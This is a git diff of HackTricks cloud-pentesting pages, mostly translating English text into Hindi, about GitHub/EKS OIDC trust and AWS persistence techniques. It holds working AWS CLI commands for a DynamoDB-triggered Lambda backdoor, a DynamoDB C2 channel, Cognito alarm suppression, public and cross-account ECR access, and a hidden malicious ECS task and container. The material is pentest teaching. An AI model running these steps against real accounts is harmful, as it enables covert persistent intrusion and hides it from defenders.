+"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:sub": [
+"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
+"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
+],
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+6. पिछले नीति में ध्यान दें कि केवल एक **branch** को **repository** के **organization** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था।
+7. **role** का **ARN** जिसे github action **impersonate** करने में सक्षम होगा, वह "secret" होगा जिसे github action को जानने की आवश्यकता है, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें।
+8. अंत में, AWS creds को कॉन्फ़िगर करने के लिए एक github action का उपयोग करें जो workflow द्वारा उपयोग किया जाएगा:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
- pull_request:
- branches:
- - main
+pull_request:
+branches:
+- main
# Required to get the ID Token that will be used for OIDC
permissions:
- id-token: write
- contents: read # needed for private repos to checkout
+id-token: write
+contents: read # needed for private repos to checkout
jobs:
- aws:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v3
+aws:
+runs-on: ubuntu-latest
+steps:
+- name: Checkout
+uses: actions/checkout@v3
- - name: Configure AWS Credentials
- uses: aws-actions/configure-aws-credentials@v1
- with:
- aws-region: eu-west-1
- role-to-assume:${{ secrets.READ_ROLE }}
- role-session-name: OIDCSession
+- name: Configure AWS Credentials
+uses: aws-actions/configure-aws-credentials@v1
+with:
+aws-region: eu-west-1
+role-to-assume:${{ secrets.READ_ROLE }}
+role-session-name: OIDCSession
- - run: aws sts get-caller-identity
- shell: bash
+- run: aws sts get-caller-identity
+shell: bash
```
-
-## OIDC - EKS Abuse
-
+## OIDC - EKS दुरुपयोग
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-
-It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
-
+यह संभव है कि **EKS** क्लस्टर में **OIDC प्रदाताओं** को केवल क्लस्टर के **OIDC URL** को **नए Open ID पहचान प्रदाता** के रूप में सेट करके उत्पन्न किया जा सके। यह एक सामान्य डिफ़ॉल्ट नीति है:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
+}
+}
+}
+]
}
```
+यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **कोई भी सेवा खाता जिसमें एक वेब पहचान टोकन है** वह भूमिका ग्रहण करने में **सक्षम होगा**।
-This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
-
-In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
-
+**जिस सेवा खाते को भूमिका ग्रहण करने में सक्षम होना चाहिए,** उसे निर्दिष्ट करने के लिए, एक **शर्त** निर्दिष्ट करना आवश्यक है जहाँ **सेवा खाता नाम निर्दिष्ट किया गया है**, जैसे:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-
-## References
+## संदर्भ
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 28868b9f1..26933b4e1 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -2,20 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
+ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए जिन्हें आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें:
-- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- - **access-analyzer:List\***
- - **access-analyzer:Get\***
- - **iam:CreateServiceLinkedRole**
- - **access-analyzer:CreateAnalyzer**
- - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- - **access-analyzer:DeleteAnalyzer**
- - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
+- डिफ़ॉल्ट नीति **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
+- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) चलाने के लिए आपको निम्नलिखित अनुमतियों की भी आवश्यकता है:
+- **access-analyzer:List\***
+- **access-analyzer:Get\***
+- **iam:CreateServiceLinkedRole**
+- **access-analyzer:CreateAnalyzer**
+- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
+- **access-analyzer:DeleteAnalyzer**
+- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md
index f3b45c4d3..c707c72c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md
@@ -1,6 +1 @@
-# AWS - Persistence
-
-
-
-
-
+# AWS - स्थिरता
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 6d2b0ec35..2caeab45b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -4,7 +4,7 @@
## API Gateway
-For more information go to:
+अधिक जानकारी के लिए जाएं:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
@@ -12,25 +12,21 @@ For more information go to:
### Resource Policy
-Modify the resource policy of the API gateway(s) to grant yourself access to them
+API गेटवे(s) की संसाधन नीति को संशोधित करें ताकि आप उन्हें एक्सेस कर सकें
### Modify Lambda Authorizers
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
+लैम्ब्डा ऑथराइज़र्स के कोड को संशोधित करें ताकि आप सभी एंडपॉइंट्स तक पहुंच प्राप्त कर सकें।\
+या बस ऑथराइज़र के उपयोग को हटा दें।
### IAM Permissions
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
+यदि कोई संसाधन IAM ऑथराइज़र का उपयोग कर रहा है, तो आप IAM अनुमतियों को संशोधित करके खुद को एक्सेस दे सकते हैं।\
+या बस ऑथराइज़र के उपयोग को हटा दें।
### API Keys
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
+यदि API कुंजी का उपयोग किया जाता है, तो आप उन्हें लीक कर सकते हैं ताकि स्थिरता बनाए रख सकें या यहां तक कि नई कुंजी बना सकें।\
+या बस API कुंजी के उपयोग को हटा दें।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index e2e037e53..61262b97b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,7 +4,7 @@
## Cognito
-For more information, access:
+अधिक जानकारी के लिए, पहुँचें:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -12,16 +12,16 @@ For more information, access:
### User persistence
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
+Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे:
-- **Adding a User Pool** controlled by the user to an Identity Pool
-- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- - Or to an **authenticated Identity Pool** if the attacker can login
- - Or **improve the permissions** of the given roles
-- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+- **एक उपयोगकर्ता पूल** जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है, को एक पहचान पूल में जोड़ना
+- एक **IAM भूमिका को अनधिकृत पहचान पूल को देना और बेसिक ऑथ फ्लो की अनुमति देना**
+- या एक **अधिकृत पहचान पूल** में यदि हमलावर लॉगिन कर सकता है
+- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना**
+- **विशेषताएँ नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से बनाना, सत्यापित करना और प्रिवेस्क करना** एक **उपयोगकर्ता पूल** में
+- **बाहरी पहचान प्रदाताओं** को एक उपयोगकर्ता पूल या एक पहचान पूल में लॉगिन करने की अनुमति देना
-Check how to do these actions in
+इन क्रियाओं को कैसे करना है, यह देखें
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
@@ -29,18 +29,12 @@ Check how to do these actions in
### `cognito-idp:SetRiskConfiguration`
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
+इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-
-By default this is disabled:
+डिफ़ॉल्ट रूप से यह अक्षम है:
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 75a824e73..cc41e14a3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -4,64 +4,56 @@
### DynamoDB
-For more information access:
+अधिक जानकारी के लिए पहुँचें:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
+### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर
+DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब कोई आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
```bash
# Create a malicious Lambda function
aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
+--function-name MaliciousFunction \
+--event-source \
+--region
```
-
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
-
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region
# Insert a command into the table
aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
- --region
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region
```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+संपर्कित उदाहरण या लैम्ब्डा फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को संपर्कित संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index b52ac9e85..78978da49 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -4,55 +4,51 @@
## EC2
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Security Group Connection Tracking Persistence
+### सुरक्षा समूह कनेक्शन ट्रैकिंग स्थिरता
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता।
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** था, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को नहीं मारा जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**।**
-### EC2 Lifecycle Manager
+### EC2 जीवनचक्र प्रबंधक
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\
+एक हमलावर **हर सप्ताह सभी छवियों या सभी वॉल्यूम्स के AMIs या स्नैपशॉट्स** का **उत्पादन** कॉन्फ़िगर कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
-### Scheduled Instances
+### अनुसूचित उदाहरण
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+यह दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से उदाहरणों को चलाने के लिए शेड्यूल करना संभव है। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
-### Spot Fleet Request
+### स्पॉट फ़्लीट अनुरोध
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष के लिए एक छोटा स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
-### Backdoor Instances
+### बैकडोर उदाहरण
-An attacker could get access to the instances and backdoor them:
+एक हमलावर उदाहरणों तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring the **User Data**
+- उदाहरण के लिए एक पारंपरिक **रूटकिट** का उपयोग करना
+- एक नया **सार्वजनिक SSH कुंजी** जोड़ना (देखें [EC2 प्रिवेस्क विकल्प](../aws-privilege-escalation/aws-ec2-privesc.md))
+- **उपयोगकर्ता डेटा** को बैकडोर करना
-### **Backdoor Launch Configuration**
+### **बैकडोर लॉन्च कॉन्फ़िगरेशन**
-- Backdoor the used AMI
-- Backdoor the User Data
-- Backdoor the Key Pair
+- उपयोग किए गए AMI को बैकडोर करें
+- उपयोगकर्ता डेटा को बैकडोर करें
+- कुंजी जोड़ी को बैकडोर करें
### VPN
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
+एक VPN बनाएं ताकि हमलावर सीधे इसके माध्यम से VPC से कनेक्ट कर सके।
-### VPC Peering
+### VPC पीयरिंग
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+पीड़ित VPC और हमलावर VPC के बीच एक पीयरिंग कनेक्शन बनाएं ताकि वह पीड़ित VPC तक पहुंच सके।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 07928fbd4..d692fdafe 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,7 +4,7 @@
## ECR
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-ecr-enum.md
@@ -12,90 +12,80 @@ For more information check:
### Hidden Docker Image with Malicious Code
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
### Repository Policy
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
-
+एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है:
```bash
aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
# With a .json such as
{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
}
```
-
> [!WARNING]
-> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+> ध्यान दें कि ECR को उपयोगकर्ताओं के पास **अनुमति** होनी चाहिए कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते।
-### Registry Policy & Cross-account Replication
+### रजिस्ट्री नीति और क्रॉस-खाता पुनरुत्पादन
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से पुनरुत्पादित करना संभव है, जहां आपको **बाहरी खाते** को इंगित करने की आवश्यकता है जहां आप रजिस्ट्री को पुनरुत्पादित करना चाहते हैं।
-First, you need to give the external account access over the registry with a **registry policy** like:
-
+पहले, आपको बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है एक **रजिस्ट्री नीति** के साथ जैसे:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-
-Then apply the replication config:
-
+फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें:
```bash
aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
+--replication-configuration file://replication-settings.json \
+--region us-west-2
# Having the .json a content such as:
{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 988626c8f..a70b2ab93 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,7 +4,7 @@
## ECS
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -15,18 +15,17 @@ For more information check:
> [!NOTE]
> TODO: Test
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+एक हमलावर Amazon EventBridge का उपयोग करके **एक दुर्भावनापूर्ण कार्य को नियमित रूप से निष्पादित करने के लिए शेड्यूल करने के लिए एक छिपा हुआ आवधिक ECS कार्य बना सकता है**। यह कार्य अन्वेषण कर सकता है, डेटा को बाहर निकाल सकता है, या AWS खाते में स्थिरता बनाए रख सकता है।
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
-
+एक हमलावर एक **छिपा हुआ बैकडोर कंटेनर** को एक मौजूदा ECS टास्क परिभाषा में जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
-
+एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को अक्षम करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
```bash
